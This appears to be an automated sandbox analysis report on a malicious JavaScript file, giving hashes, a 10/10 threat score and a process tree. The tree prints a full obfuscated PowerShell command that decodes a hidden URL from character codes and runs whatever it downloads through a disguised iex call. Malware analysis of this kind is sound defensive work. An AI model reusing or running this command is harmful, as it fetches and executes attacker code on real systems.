Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21/12/2024, 14:41
General
-
Target
1a2b49c861ff2edc24b949b96cfd4024e773d9c4c52f690002f0494bc4bfb8e2.js
-
Size
221KB
-
MD5
a204092553829a6c4eb083031956bf75
-
SHA1
d36399d0bf673b284dbd6776c829843bc2530b47
-
SHA256
1a2b49c861ff2edc24b949b96cfd4024e773d9c4c52f690002f0494bc4bfb8e2
-
SHA512
f591d7c5e182dffd9b0c2709a80141592ca2397445c4df636a911ba7d03b15be60b28885ec7c1e3c1e708810986bc4c42e056a4bd5832d51a7e5565a080c61f9
-
SSDEEP
1536:nwNWlq0pBy8WgeH4rJ0hyI3Tq9Ca4+XqTHDYBy8WgeH4rJ0heI3Tq9Ca4+XqTHDt:nvq0XApj+ADsABj+ADZj+AD+AKAp
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1a2b49c861ff2edc24b949b96cfd4024e773d9c4c52f690002f0494bc4bfb8e2.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $actskihjugfzn='ur' ;new-alias printout c$($actskihjugfzn)l;$zxjmbokdcnwsv=(7307,7318,7326,7310,7312,7307,7327,7326,7331,7264,7326,7260,7307,7255,7325,7320,7321,7256,7258,7255,7321,7313,7321,7272,7324,7270,7318,7314,7319,7325,7324,7259,7258);$ajbwnhzuc=('bronx','get-cmdlet');$lrczafvoiuwet=$zxjmbokdcnwsv;foreach($lmarbu in $lrczafvoiuwet){$shioewjbqzpgf=$lmarbu;$qveyzptb=$qveyzptb+[char]($shioewjbqzpgf-7209);$pkaigmbljznyfh=$qveyzptb; $cbyodthrzlq=$pkaigmbljznyfh};$mzjogayevtpunb[2]=$cbyodthrzlq;$hqdsab='rl';$chktxefdwbap=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cbyodthrzlq)1⤵
- Process spawned unexpected child process